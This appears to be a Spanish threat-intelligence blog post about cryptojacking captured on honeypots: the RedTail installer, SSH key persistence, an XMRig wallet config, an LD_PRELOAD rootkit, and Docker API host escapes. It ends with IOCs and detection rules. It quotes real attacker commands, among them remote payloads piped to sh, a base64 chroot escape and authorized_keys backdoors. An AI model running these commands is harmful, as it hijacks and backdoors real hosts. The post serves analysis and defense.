TLP:CLEARIOCs publicables. Las IPs de los sensores aparecen enmascaradas como `` y ``; los sensores ya fueron retirados. Ninguna muestra se ejecutó: todo sale de lectura estática, del store del honeypot y de reportes públicos.
# If all else fails
echo "redtail"
return 1

Esas cuatro líneas son el último recurso de un instalador que recibí veintiuna veces. La función intenta generar un nombre de archivo aleatorio con openssl, con /dev/urandom, con $RANDOM; si las tres fallan, en vez de rendirse escribe el binario en un archivo llamado, sin más, redtail. Un programa que se nombra a sí mismo cuando se queda sin ideas. Durante dos sesiones yo llamé a esta familia Prometei, porque así la etiquetaba uno de los reportes públicos. Estaba equivocado, y el error estaba escrito en el propio script que tenía delante: el autor ya le había puesto nombre a su cosa, y el nombre era otro.

Las tres entregas anteriores fueron sobre los que querían la máquina para pegarle a alguien más —un rato de VNC, una botnet de juegos, un Mirai que avisa que no lo es. Esta es sobre los que la querían para ellos. El cryptojacking no tiene víctima aguas abajo: la víctima es el equipo, su CPU y su factura de la luz. Y como el negocio es la permanencia, no el ruido, estos actores pusieron el cuidado donde los otros pusieron el volumen: en quedarse, en esconderse y en echar al que llegó antes. Lo que sigue son cuatro formas de instalarse en casa ajena, ordenadas de menos a más desvergonzadas.

1. El binario que se nombra solo#

RedTail es un minero de Monero para Linux, documentado desde 2024, que se hizo conocido por propagarse explotando servidores web y por compilar su propio XMRig a medida. A mi Cowrie llegó por SSH, con un kit de dos scripts. Primero clean.sh, después setup.sh:

chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh;
mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2E…CqHrvnL6l7rT/m…" >> ~/.ssh/authorized_keys

setup.sh, del que recogí dos variantes casi gemelas, abre con una función get_random_string (la del echo "redtail" de arriba) y un bloque que decide la arquitectura con uname -mp y la reduce a cinco nombres:

ARCH=$(uname -mp)
#  x86_64|amd64 → x86_64 · i[3456]86 → i686 · armv8|aarch64 → arm8 · armv7 → arm7 · riscv → riscv
cat redtail.$ARCH > $FILENAME; chmod +x $FILENAME; ./$FILENAME ssh

setup.sh instala el minero; clean.sh hace lo contrario de lo que su nombre sugiere para el dueño: limpia la competencia, no la infección. Las cinco arquitecturas llegaron tal cual por SFTP, con los nombres redtail.x86_64, redtail.i686, redtail.arm8, redtail.arm7 y redtail.riscv. No hubo que adivinar la familia: el atacante la nombró en cada archivo que subió.

La corrección: de Prometei a RedTail#

Vale la pena detenerse acá, porque me equivoqué y la forma del error es instructiva. El kit de minero llega empacado con UPX, estático, multi-arquitectura; MalwareBazaar lo etiquetaba como Prometei, y yo lo repetí. Prometei es una botnet modular con una genealogía muy distinta. La etiqueta venía de un solo reportero, y cuando la fui a verificar contra la muestra, no encontré ninguno de los marcadores públicos de Prometei Linux: ni el /cgi-bin/p.cgi, ni el ParentId, ni el trailer JSON de configuración.

Lo que sí encontré fue lo contrario. El setup.sh no es un misterio para VirusTotal: su motor de code insights lo describe sin ambigüedad.

Ficha de VirusTotal del script setup.sh (31d4181843b1ed10…), nombre fj70zywdn.exe, 2,10 KB: 16 de 38 motores lo marcan malicioso, etiquetas shell y detect-debug-environment. El bloque 'Code insights' (marcado Malicious) dice: 'The provided script is a shell-based dropper and execution agent designed to locate a suitable directory, deploy an architecture-specific binary payload under a randomized hidden filename, execute it, and erase traces of its presence. 1. System Profiling: The script identifies the host system's processor architecture (supporting x86_64, i686, arm8, arm7, and riscv).' Etiqueta popular trojan.sagent/shell; categorías trojan, downloader; familias sagent, shell, amtb. Detecciones: Microsoft TrojanDownloader:SH/SAgent.A!AMTB, Huorong TrojanDownloader/Linux.Agent.fc, AliCloud Trojan:Linux/SAgent.A9ZPHU.
El setup.sh en VirusTotal (consulta del 11 de noviembre). El análisis automático describe exactamente lo que hace el script: un dropper que perfila la arquitectura (x86_64/i686/arm8/arm7/riscv), suelta el binario con un nombre oculto al azar y borra sus huellas. La etiqueta popular es un downloader genérico, 'sagent/shell': ni Prometei ni RedTail.crédito: Fuente: VirusTotal

VirusTotal no dice ni Prometei ni RedTail: dice downloader genérico. Las plataformas automáticas casi nunca ponen el nombre de familia en un script de instalación; lo ponen en el binario, o no lo ponen. El nombre correcto no salió de una etiqueta, sino de tres cosas que convergen: los archivos se llaman redtail.*, el script cae en el literal redtail, y dos fuentes independientes en ThreatFox marcan como infraestructura RedTail a las IPs con las que hablé —130.12.180.51 como C2 en los puertos 2137 y 43782, y 209.141.58.166 como servidor de payload con las etiquetas cronb-loader y docker-exploit (volveré sobre esas en la sección de Docker). El binario, además, es lo que dice ser: subido como redtail.riscv, VirusTotal lo clasifica como minero.

Ficha de VirusTotal de redtail.riscv (3f3bf218089d1488…), 1,68 MB, elf/64bits/upx: 25 de 47 motores lo marcan malicioso, community score -4. Etiqueta popular trojan.multiverze/abminer; categorías trojan, miner, pua; familias multiverze, abminer, gsvm. Detecciones: AliCloud Miner:Multi/XmrigGo.SY, Fortinet Linux/Miner.ATR!tr, Ikarus Trojan.Linux.Coinminer, Rising Trojan.CoinMiner/Linux, Tencent Risktool.Linux.Miner.nf, DrWeb Linux.Packed.2239.
La rama RISC-V del kit. Es un minero empacado con UPX: 'XmrigGo', 'CoinMiner', 'Miner'. Ningún motor dice Prometei.crédito: Fuente: VirusTotal

Y quedaba un último hilo de la hipótesis Prometei: una de las muestras de minero completas, a151d3f4…, trae unos 300 KB de datos tras el trailer de UPX, y yo había anotado que podían ser una configuración cifrada —justo lo que tendría un Prometei. Los abrí. No son un config: son símbolos RTTI de la biblioteca estándar de C++ en claro (__cxxabiv1, std::bad_exception, las cachés de moneypunct del sistema de locale). Es el final no comprimido de un binario C++ estático, no una carga anti-desempaque. El último argumento a favor de Prometei era, visto de cerca, el runtime de C++.

La lección no es “me equivoqué”. Es por qué: tomé una etiqueta de un solo reportero por un hecho, y una anomalía de formato por una intención. Verificar contra la muestra —no contra el reporte, ni contra mi propia nota de la semana pasada— es lo único que lo corrige. Lo dejo escrito porque el próximo que lea Prometei en MalwareBazaar para uno de estos hashes merece saber que ya se revisó y que es RedTail.

2. La llave que se queda#

Lo primero que hace el kit al entrar no es minar: es asegurarse la puerta. La primera línea después de uname -a es siempre la misma:

echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"

auth_ok. Lo vi en la entrega II como lo que no era —no es un test anti-honeypot, es un acuse para el propio script del atacante, que lee esa línea para confirmar que la shell respondió. Justo detrás, el kit escribe una clave privada OpenSSH en /tmp y, al final, agrega su llave pública a ~/.ssh/authorized_keys, no sin antes correr chattr -ia sobre el archivo por si alguien lo había hecho inmutable. La llave de RedTail empieza por AAAAB3NzaC1yc2EAAAADAQAB…CqHrvnL6l7rT/m… y la compartieron dos IPs: 130.12.180.51 (Zayo, 46 días en mi sensor) y 77.90.185.20 (Limited Network, que fue la que subió las cinco arquitecturas).

Una llave en authorized_keys es la persistencia más barata que existe en SSH: sobrevive a reinicios, no es un proceso que se pueda matar, no aparece en ps, y si el dueño cambia la contraseña da igual. El equipo ya no es del dueño; es de quien tenga la privada.

RedTail no inventó la idea. La versión más masiva de esta misma jugada no pertenece a ninguna familia de minero en particular: es una sola llave pública que vi llegar desde 2.029 IPs distintas en los ochenta y seis días, con la misma receta cada vez.

consulta al store · la llave mdrfckr · 2.029 IPs · 10-ago → 3-nov
cd ~ && rm -rf .ssh && mkdir .ssh &&
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O7…
…6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys &&
chmod -R go= ~/.ssh && cd ~

 IPs distintas con esta llave : 2029
 ventana                      : 2026-08-10 → 2026-11-03
 ASN más frecuentes           : Oracle (124), Microsoft (95), UCloud HK (78), Baidu (70), Tencent (65)
 países más frecuentes        : CN (430), US (369), SG (125), VN (94), HK (84)

Dos detalles la delatan. El comentario de la llave es mdrfckr, una firma que arrastra una campaña de cryptojacking conocida desde hace años. Y la llave misma empieza por AAAAB3NzaC1yc2EAAAABJQ, donde ese JQ codifica el exponente público 0x25 —el número 37—, en lugar del AAAADAQAB (exponente 65537) que genera por defecto cualquier ssh-keygen moderno. Es una clave vieja, reusada por miles de operadores que probablemente ni saben que comparten la privada: la copiaron de un script que a su vez la copió de otro. Dos mil IPs empujando el mismo candado a la misma puerta, sin coordinarse, porque todas bajaron el mismo instalador.

Dos familias, dos llaves, una misma idea: el authorized_keys es el bien raíz. Lo que cambia es el nombre en el contrato.

3. Con la contraseña del dueño#

La campaña que más veces intentó encender un minero en mi sensor fue la que la entrega II bautizó por su archivo: .16. Diecisiete IPs de dos redes —AS47890 (Unmanaged Ltd, geolocalizada en Rumania) y AS48090 (Techoff / DMZHOST, en Bulgaria)— entraban, corrían la batería de fidelidad de shell que ya conté, subían por SFTP un binario llamado .16 a /root, a /dev/shm o a /var/backups, y lo intentaban ejecutar. La parte que me guardé para esta entrega es cómo lo ejecutaban:

echo '<contraseña>' | sudo -S sh -c 'chmod +x '\''/root/.16'\''' || echo '<contraseña>' | sudo -S chmod +x '/root/.16' ||
sh -c 'chmod +x '\''/root/.16'\''' || chmod +x '/root/.16'

La contraseña que le pasan a sudo -S por la entrada estándar es la misma con la que acababan de entrar. Tiene una lógica fría: si el login fue root:1234, entonces 1234 probablemente también sirva para sudo, y la cadena de || cubre los cuatro casos —con sudo y sh -c, con sudo directo, sin sudo dentro de sh, y a pelo— para funcionar tanto si cayeron en una cuenta de root como en una de usuario con sudoers. No hay escalada de privilegios elegante acá. Hay un echo de la contraseña del dueño, porque el dueño ya la regaló en el login.

El binario .16 es un XMRig empacado con UPX. La muestra completa que recuperé, a151d3f4…, viene de 195.178.110.228, una de las IPs de AS48090, y VirusTotal la clasifica como CoinMiner. Es el mismo tipo de carga que el kit de RedTail, servido por otra campaña con otra entrega: la economía del cryptojacking converge en XMRig porque XMRig es bueno, libre y gratis, y a nadie se le ocurre escribir un minero de Monero desde cero cuando el oficial compila para todas las arquitecturas.

4. La factura de la luz#

Hasta acá la carga fue una caja negra: “un XMRig”. Vale la pena abrir una, porque una de las muestras del corpus trae su configuración entera en claro y cuenta todo el modelo de negocio en veinte líneas. Es fba55fd4…, un XMRig estático de 1,6 MB con un añadido:

Ficha de VirusTotal de fba55fd42a6cb14c… nombre .b0s, 1,64 MB, elf/64bits: 37 de 64 motores lo marcan malicioso, community score -13, etiquetas sets-process-name, detect-debug-environment, persistence. Etiqueta popular trojan.processhider/rootkit; categorías trojan, miner, hacktool; familias processhider, rootkit, usbll226. Detecciones: AliCloud Miner:Multi/XmrigGo.SY, Kaspersky HEUR:Rootkit.Linux.Processhider.gen, DrWeb Tool.Linux.BtcMine.4901, Microsoft Trojan:Linux/CoinMiner.C12, ESET-NOD32 Linux/CoinMiner.CP, TrendMicro Trojan.Linux.PROCESSHIDER.USBLI226, Fortinet Adware/Miner, Ikarus Trojan.Linux.Coinminer.
Minero más rootkit de usuario. 'CoinMiner' por un lado, 'Processhider' y 'rootkit' por el otro. El nombre del archivo, '.b0s', es la misma cadena que el minero usa de contraseña de pool.crédito: Fuente: VirusTotal

Dentro lleva la config de XMRig con la cartera y los pools escritos a mano, replicados contra las nueve regiones de SupportXMR por si una cae:

{
  "donate-level": 0,
  "pools": [
    { "url": "pool-fr.supportxmr.com:5555",  "user": "4ALMv7Z7…MLomGLAH", "pass": "b0s", "tls": false },
    { "url": "pool-phx.supportxmr.com:5555", "user": "4ALMv7Z7…MLomGLAH", "pass": "b0s", "tls": false },
    { "url": "pool-nyc.supportxmr.com:5555", "user": "4ALMv7Z7…MLomGLAH", "pass": "b0s", "tls": false }
    …  (hk, sg, aus, ca)
  ]
}

donate-level: 0 apaga la donación al proyecto XMRig: hasta el último uno por ciento es para el operador. El user es una dirección de Monero —la cartera donde cae lo minado— y b0s es la etiqueta de trabajador, la misma cadena con la que el archivo se guarda en disco (.b0s). La cartera, truncada acá por higiene, está completa en los indicadores. No pude verificar su actividad en el pool: SupportXMR está bloqueado por DNS en el entorno desde el que escribo, así que la consulta de hashrate y pagos queda pendiente de hacerse a mano. Lo que sí es definitivo es la config embebida: esta muestra mina Monero contra SupportXMR, con esa cartera, con la donación en cero.

Monero es la moneda elegida por una razón de diseño: sus transacciones son opacas por defecto, así que no hay un explorador público donde seguir el dinero como se sigue el de Bitcoin. Lo único observable desde afuera es el pool, y solo si el operador no corre su propio proxy.

La otra mitad del binario explica el nombre processhider. Trae un rootkit de usuario: baja una libdaemon.so desde un servidor por HTTP, la copia a /usr/local/lib/ y la registra en /etc/ld.so.preload. Cargada en cada proceso del sistema vía LD_PRELOAD, la biblioteca intercepta las llamadas que listan el directorio /proc y oculta el proceso del minero: top, ps y htop dejan de verlo. No es un rootkit de kernel —no necesita módulos ni toca el anillo cero—, pero contra un administrador que entra a mirar por qué el ventilador no para, /etc/ld.so.preload es suficiente. El minero que delataría su propio consumo se vuelve invisible a las herramientas que lo delatarían.

5. La puerta ancha de Docker#

El SSH al menos exige una credencial. La API de Docker expuesta, cuando el emulador de mi sensor de servicios la ofrecía, no exige nada: habla el que se conecte al puerto, y crear un contenedor privilegiado que monte el disco del anfitrión es una llamada HTTP. Fue, de lejos, el vector más usado para escapar al host. En los ochenta y seis días conté 620 cuerpos de POST /containers/create; 564 pedían Privileged: true y 581 montaban el raíz del anfitrión dentro del contenedor.

taxonomía de los cuerpos de la API Docker
python3 -I scripts/docker_escapes.py
── Taxonomía de los cuerpos de la API Docker (Beelzebub) ──
cuerpos POST analizados: 620 · con Privileged: 564 · con bind del raíz (/:/host|mnt|hostfs): 581 · con CapAdd ALL: 264

método de escape:
   263  directo (Binds /:/host y chroot implícito)
   177  chroot /host
    89  chroot /mnt
    42  chroot /hostfs
     2  release_agent (cgroup)

host de descarga del 2º stage:
   268  5.182.210.174/ok
   215  16.5.7.221/d
     4  85.137.54.178 (":8443/bins/1", "応用-docker")
     3  dominios ofuscados → cronb.sh
     1  161.97.120.153 (recon de GPU)

La forma canónica del escape es siempre la misma idea con variaciones de sintaxis: una imagen pública cualquiera (alpine, busybox, ubuntu, debian), HostConfig con Binds: ["/:/host"], Privileged: true, a veces CapAdd: ["ALL","SYS_ADMIN"] y PidMode/NetworkMode: host por si acaso, y un comando que hace chroot /host para ejecutar en el sistema de archivos real del anfitrión, no en el del contenedor. El payload va casi siempre en base64:

sh -c chroot /host sh -c "echo d2dldCAtTy0g…|base64 -d|sh"
   ↓ decodificado
wget -O- http://5.182.210.174/ok | sh || curl -s http://5.182.210.174/ok | sh

Ese 5.182.210.174/ok es el mismo servidor de descarga del actor que en la entrega III tocó por SSH y por Docker con la misma ok —45.198.224.26 y sus vecinas, más 16.5.0.236—. Entre esas IPs produjeron diecisiete plantillas distintas (cuatro imágenes × cuatro directorios de chroot, más alguna variante), repartidas entre 5.182.210.174/ok y un segundo servidor, 16.5.7.221/d. Son el grueso de los 620 cuerpos.

Dos variantes merecen nombre propio. La primera es un escape que ni siquiera necesita montar el disco: abusa del release_agent de los cgroups. Monta un cgroup nuevo, activa notify_on_release, escribe un script en el anfitrión y pone su ruta en release_agent; cuando el último proceso del cgroup muere, el kernel ejecuta ese script como root en el anfitrión. Es el escape de contenedor clásico que no requiere chroot, y lo vi dos veces, lo que dice que el repertorio de estos actores no se agota en montar /.

La segunda es cronb.sh, el loader que ThreatFox asocia a RedTail (ruta b2f628, etiqueta docker-exploit, la misma que marca a 209.141.58.166). Llega escrito en /etc/crontab y /etc/cron.d/ para correr cada minuto, y en algunos cuerpos el dominio de descarga viene deliberadamente roto —s.\n\a-c\s.c\om, b.\c\l\u-e\.e\u— con barras invertidas de más que un echo … | base64 -d deshace en tiempo de ejecución. Es ofuscación barata contra el que busca dominios con una expresión regular en los logs: el dominio real solo aparece después de decodificar.

Y una tercera, que no mina sino que mide: un cuerpo de 161.97.120.153 corre dentro del contenedor nproc, nvidia-smi -L y nvidia-smi --query-gpu=name, reporta cuántas GPU y cuáles hay, y se va. No busca cualquier equipo: busca equipos con tarjetas gráficas. En una nube de GPU, el cómputo que roba vale mucho más que unos ciclos de CPU.

6. Trae tu propia imagen#

El caso más limpio de “minar en casa ajena” no bajó nada de ningún servidor. Lo trajo puesto. El 26 de septiembre, desde 86.38.182.193 —DataCrunch (Verda Cloud, AS198020), una nube de GPU en Helsinki— alguien usó un endpoint de la API de Docker que casi nunca se ve en un ataque: POST /images/load.

docker pull baja una imagen de un registro público (Docker Hub). docker load hace lo contrario: sube una imagen ya armada, como un .tar, a través de la API. El atacante que usa load no depende de que el equipo pueda salir a Docker Hub, y no deja rastro de descarga en ningún registro. Trae su propio contenedor en la mano.

La imagen se llama ccimp:1, pesa un par de megas y no contiene casi nada más que busybox y un script. Con ella, el primer contenedor que crearon fue el que ya mostré en la entrega II: echo KANIT=$((98765*4321)), una cuenta que solo puede responder algo que de verdad ejecute el contenedor —la prueba de que del otro lado hay un Docker real y no un emulador. Treinta y siete load llegaron en total, casi todos de esa IP de DataCrunch, el resto de dos IPs vecinas del mismo bloque y de Cloudflare, todas geolocalizadas en Helsinki. Es coherente con un solo operador detrás de WARP eligiendo una nube de GPU como objetivo, aunque eso último es hipótesis: la IP de Cloudflare no dice quién está detrás.

El patrón completo —medir la GPU antes, traer la imagen propia después, elegir DataCrunch— apunta a alguien que sabe exactamente qué equipo quiere y no quiere depender de la red del equipo para nada. Es lo opuesto al que escanea Internet entero a ver qué cae.

7. El panel de otro#

La última forma es la más silenciosa, y la más incómoda de clasificar, porque la herramienta es legítima. Siete IPs, todas de Oracle Cloud, entraron a mi Cowrie con root:LeitboGi0ro o root:123@@@, dejaron un bendi.py en /tmp y corrieron siempre la misma línea:

bash <(curl -sL https://raw.githubusercontent.com/komari-monitor/komari-agent/refs/heads/main/install.sh) \
     -e https://sexy.pp.ua --auto-discovery DsR94pYWmSUpC3n43RmwPxKw

Komari es un agente de monitoreo de servidores de código abierto, de los que uno instala en sus propias máquinas para verlas en un panel. Acá el panel es sexy.pp.ua, y el token de auto-descubrimiento enrola el equipo recién comprometido en la flota de alguien más. No vi un minero detrás de estas IPs —puede que el panel sea solo el primer paso, el inventario antes de decidir qué correr—, pero el movimiento es el mismo de toda la entrega: hacer que la máquina ajena reporte a una infraestructura propia. Que siete de estas IPs sean de Oracle Cloud, atacando desde la misma nube donde yo tenía el señuelo, es un tema de la entrega siguiente; acá basta decir que son casi invisibles para la comunidad: su reputación en las listas públicas va de 0 a 7 sobre 100. Una VM de nube recién levantada no tiene historia, y eso es justo lo que la hace útil.

8. Lo que sabía la comunidad#

Como en las entregas anteriores, crucé cada IP con ThreatFox —reportes de terceros sobre infraestructura— y con la primera vez que yo la vi:

IPRol en mi corpusPrimera vez en mi sensorThreatFox / reputación
130.12.180.51kit RedTail (llave + minero)10-agoC2 RedTail en :2137 y :43782 (reportero independiente)
77.90.185.20subió las 5 arquitecturas de RedTail10-ago— en ThreatFox; AbuseIPDB alto
209.141.58.166(citada por cronb.sh)—payload RedTail, tags cronb-loader, docker-exploit, b2f628
5.182.210.174servidor ok (SSH + Docker)10-agodistribución de malware, 6-ago
16.5.7.221segundo servidor /d de escape Docker5-sep—
86.38.182.193contrabando de ccimp:1 (/images/load)26-sep— (DataCrunch, nube de GPU)
195.178.110.228campaña .16, minero a151…25-octAS48090 Techoff, marcada scanner en Shodan
7 IPs de OCIkomari-agent → sexy.pp.ua11-agoreputación 0–7/100

El patrón se repite: la infraestructura de RedTail (130.12.180.51, 209.141.58.166) la conocía la comunidad por fuentes independientes, lo que corrobora la corrección del nombre; pero los actores que traían su propia imagen o usaban VMs de nube recién creadas (DataCrunch, las de OCI) no figuran en casi ningún lado. La reputación pública detecta lo que persiste y se repite; es ciega, por diseño, a lo que es nuevo y breve.

9. Indicadores#

TipoValorContexto
IPv4130.12.180.51AS6461 Zayo · kit RedTail · C2 :2137 / :43782
IPv477.90.185.20AS213790 Limited Network · subió redtail.{x86_64,i686,arm8,arm7,riscv}
IPv4209.141.58.166AS53667 FranTech · payload RedTail / cronb-loader (ThreatFox)
IPv45.182.210.174AS62068 SpectraIP · servidor ok (SSH + Docker)
IPv416.5.7.221segundo servidor /d de escape Docker
IPv4195.178.110.228, 195.178.110.232AS48090 Techoff/DMZHOST · campaña .16
IPv445.198.224.26, .27, .125, 16.5.0.236escape Docker masivo hacia /ok y /d
IPv486.38.182.193, 95.133.254.30, 95.133.252.175AS198020 DataCrunch · /images/load de ccimp:1
IPv4104.28.254.18, 104.28.222.18AS13335 Cloudflare · ccimp:1 (Helsinki)
IPv4161.97.120.153:18080recon de GPU en Docker (nvidia-smi)
IPv47× OCI (129.146.123.189, 141.148.157.218, 152.67.96.249, 165.1.75.106, 168.110.102.254, 64.110.100.59, 213.35.108.147)komari-agent
Dominio / URLsexy.pp.ua, …/komari-monitor/komari-agent/…/install.shpanel komari + instalador
URLhttp://5.182.210.174/ok, http://16.5.7.221/d2º stage de escape Docker
URL…/b2f628/cronb.shloader RedTail por cron (ThreatFox docker-exploit)
Monero4ALMv7Z7Vn2YoJX89ccULYCukCefUKjSyMC1rWkVCWTB8G18Grue3hkgnbiDrCgr66TkdxnitVfyrXfxU9PhjvKMLomGLAHcartera de fba55fd4… · SupportXMR · pass b0s
Llave SSHssh-rsa AAAAB3…CqHrvnL6l7rT/m…authorized_keys de RedTail
Llave SSHssh-rsa AAAAB3NzaC1yc2EAAAABJQ…== mdrfckrauthorized_keys compartido por 2.029 IPs
Ruta/etc/ld.so.preload, /usr/local/lib/libdaemon.sorootkit processhider
Configdonate-level: 0, pass: b0s, pool-*.supportxmr.com:5555XMRig de fba55fd4…

SHA-256 de scripts y binarios:

# RedTail (kit)
31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e  setup.sh
1e70b63472772e3f5092ffe9c3573470e73590e6ab6d93fdcede1d368a5fd72d  setup.sh (variante)
3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892  clean.sh
197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8  clean.sh (variante)
3f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39  redtail.riscv
d70f917e35813a7ae323e6b2b539d6dbbfc3a3a6599f1fed93430b14ca08b141  redtail.arm7
d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68e  redtail.arm8
8e1a67a5c03b3cd818f046c7a1605afccc0ee5ce437a0d099881f1872b54bc70  redtail.i686
f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987  redtail.x86_64
# Minero + rootkit (config SupportXMR en claro)
fba55fd42a6cb14c417c3922d09fbcd105bdce13aff48ef908e6a201174a535d  XMRig + processhider (.b0s)
# .16 (campaña AS47890/AS48090)
a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125  .16 (XMRig UPX)
# mdrfckr (llave pública)
a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2  authorized_keys mdrfckr
# Docker — contrabando de imagen
7f2bc9699faa7e5d5f1962dfe4c1baa5651efa8d38c523bae552a053f0e0e4c4  create ccimp:1 (KANIT)

10. MITRE ATT&CK#

TácticaTécnicaDónde
Acceso inicialT1078 Cuentas válidaslogin por SSH; root:LeitboGi0ro, root:1234…
EjecuciónT1059.004 Shell de Unixsetup.sh, clean.sh, cuerpos Docker
EjecuciónT1610 Desplegar contenedorPOST /containers/create, /images/load
Escalada de privilegiosT1611 Escape al anfitriónBinds /:/host + Privileged; chroot /host; release_agent de cgroup
Escalada de privilegiosT1548.003 Sudoecho '<pass>' | sudo -S con la contraseña del login
PersistenciaT1098.004 Llaves SSH authorized_keysllave de RedTail; llave mdrfckr (2.029 IPs)
PersistenciaT1053.003 Croncronb.sh en /etc/crontab, /etc/cron.d/
Evasión de defensasT1014 Rootkitprocesshider vía /etc/ld.so.preload
Evasión de defensasT1562.001 Deshabilitar herramientasclean.sh mata la competencia; chattr -ia sobre authorized_keys
Evasión de defensasT1027 Ofuscaciónpayload en base64; dominios rotos s.\n\a-c\s.c\om
DescubrimientoT1082 Información del sistemauname -mp; nvidia-smi (recon de GPU)
Recolección de recursosT1496 Secuestro de recursosXMRig contra SupportXMR; komari-agent enrola el equipo

11. Detección#

Las cuatro reglas YARA de esta entrega las probé contra todo lo que guardaron los sensores —48.095 archivos únicos, incluidos cuerpos de peticiones y descargas crudas—. Cada una coincidió solo con su objetivo y con nada más: el instalador de RedTail (2), el minero con la cartera (1), el rootkit (1) y los cuerpos de escape de Docker (532).

rule HP_RedTail_Installer
{
    meta:
        description = "Instalador setup.sh de RedTail: elige arch con uname -mp y cae en el literal 'redtail'"
        author = "Dust (fennek.org)"
        reference = "https://fennek.org/posts/senuelo-minar-en-casa-ajena/"
        hash1 = "31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e"
    strings:
        $sh   = "#!/bin/bash"
        $fb   = "echo \"redtail\"" ascii
        $cat  = "cat redtail.$" ascii
        $cp   = "/redtail.*" ascii
        $run  = "./$FILENAME ssh" ascii
        $arch = "ARCH=$(uname -mp)" ascii
        $rnd  = "get_random_string" ascii
    condition:
        $sh at 0 and filesize < 16KB and $arch and $run and ($fb or $cat or $cp) and $rnd
}

rule HP_XMRig_SupportXMR_Config
{
    meta:
        description = "Minero XMRig con la cartera SupportXMR de este operador embebida (pass b0s)"
        author = "Dust (fennek.org)"
        hash1 = "fba55fd42a6cb14c417c3922d09fbcd105bdce13aff48ef908e6a201174a535d"
    strings:
        $w = "4ALMv7Z7Vn2YoJX89ccULYCukCefUKjSyMC1rWkVCWTB8G18Grue3hkgnbiDrCgr66TkdxnitVfyrXfxU9PhjvKMLomGLAH" ascii
    condition:
        uint32(0) == 0x464c457f and filesize < 8MB and $w
}

rule HP_Linux_Processhider_Preload
{
    meta:
        description = "Rootkit de usuario LD_PRELOAD que oculta el minero via /etc/ld.so.preload"
        author = "Dust (fennek.org)"
        hash1 = "fba55fd42a6cb14c417c3922d09fbcd105bdce13aff48ef908e6a201174a535d"
    strings:
        $p1 = "/etc/ld.so.preload" ascii
        $p2 = "/usr/local/lib/libdaemon.so" ascii
        $p3 = "/f/m/libdaemon.so" ascii
    condition:
        uint32(0) == 0x464c457f and filesize < 8MB and $p1 and ($p2 or $p3)
}

rule HP_Docker_API_Host_Escape
{
    meta:
        description = "Cuerpo de POST /containers/create que escapa al anfitrion: bind del raiz + Privileged + chroot/release_agent"
        author = "Dust (fennek.org)"
        reference = "https://fennek.org/posts/senuelo-minar-en-casa-ajena/"
    strings:
        $j  = "\"Image\"" ascii
        $b1 = "\"/:/host\"" ascii
        $b2 = "\"/:/hostfs\"" ascii
        $b3 = "\"/:/mnt\"" ascii
        $p  = "\"Privileged\":true" ascii
        $e1 = "chroot /host" ascii
        $e2 = "chroot /mnt" ascii
        $e3 = "chroot /hostfs" ascii
        $e4 = "release_agent" ascii
        $e5 = "base64 -d" ascii
    condition:
        filesize < 8KB and $j and (any of ($b*)) and ($p and (any of ($e*)))
}

Nota sobre la cartera: supportxmr.com:5555 aparece en 51 mineros del corpus con carteras distintas, así que una regla por el pool solo daría falsos positivos sobre XMRig legítimo. La regla exige la cartera concreta de este operador; es un indicador, no una firma de familia.

En el equipo, lo más barato de vigilar es la persistencia por llave y el ld.so.preload. La regla Sigma mira la escritura de authorized_keys por un proceso que no sea el usuario y la aparición de /etc/ld.so.preload:

title: Persistencia por llave SSH y rootkit de preload (cryptojacking Linux)
id: 2f7b9a14-6c02-4e3b-9a77-1d5c8e0b4a21
status: experimental
logsource:
  product: linux
  category: file_event
detection:
  llave_ssh:
    TargetFilename|endswith: '/.ssh/authorized_keys'
  preload:
    TargetFilename:
      - '/etc/ld.so.preload'
      - '/usr/local/lib/libdaemon.so'
  condition: llave_ssh or preload
level: high
tags:
  - attack.persistence
  - attack.t1098.004
  - attack.defense_evasion
  - attack.t1014

Para quien corra Falco con contenedores, la regla que importa es la de un contenedor privilegiado que monta el raíz del anfitrión —el escape de la sección 5—:

- rule: Contenedor privilegiado con bind del raiz del anfitrion
  desc: POST /containers/create con Binds /:/host y Privileged (escape a host)
  condition: >
    container.privileged = true and
    (fd.name startswith /host or proc.cmdline contains "chroot /host"
     or proc.cmdline contains "release_agent")
  output: "Contenedor escapando al host (image=%container.image.repository cmd=%proc.cmdline)"
  priority: CRITICAL
  tags: [container, mitre_privilege_escalation, T1611]

Y en la red, dos firmas Suricata que dan en los dos marcadores más estables de este corpus: el KANIT= del contenedor-prueba de ccimp:1 y el delimitador __B_ que esta misma gente usa como separador de salida al depurar un destino.

alert http any any -> $HOME_NET any (msg:"Docker: carga de imagen propia (POST /images/load)"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/images/load"; classtype:trojan-activity; sid:9115040; rev:1;)
alert tcp $HOME_NET any -> any any (msg:"cryptojacking: contenedor-prueba KANIT="; flow:established; content:"KANIT="; classtype:trojan-activity; sid:9115041; rev:1;)
alert tcp any any -> $HOME_NET any (msg:"sonda de fidelidad de shell: marcador __B_"; flow:to_server,established; content:"__B_"; classtype:attempted-recon; sid:9115042; rev:1;)

La firma del KANIT= es específica de esta campaña y envejecerá rápido; la del /images/load no, porque cargar una imagen propia contra una API de Docker expuesta casi nunca es benigno. Es la que yo dejaría puesta.


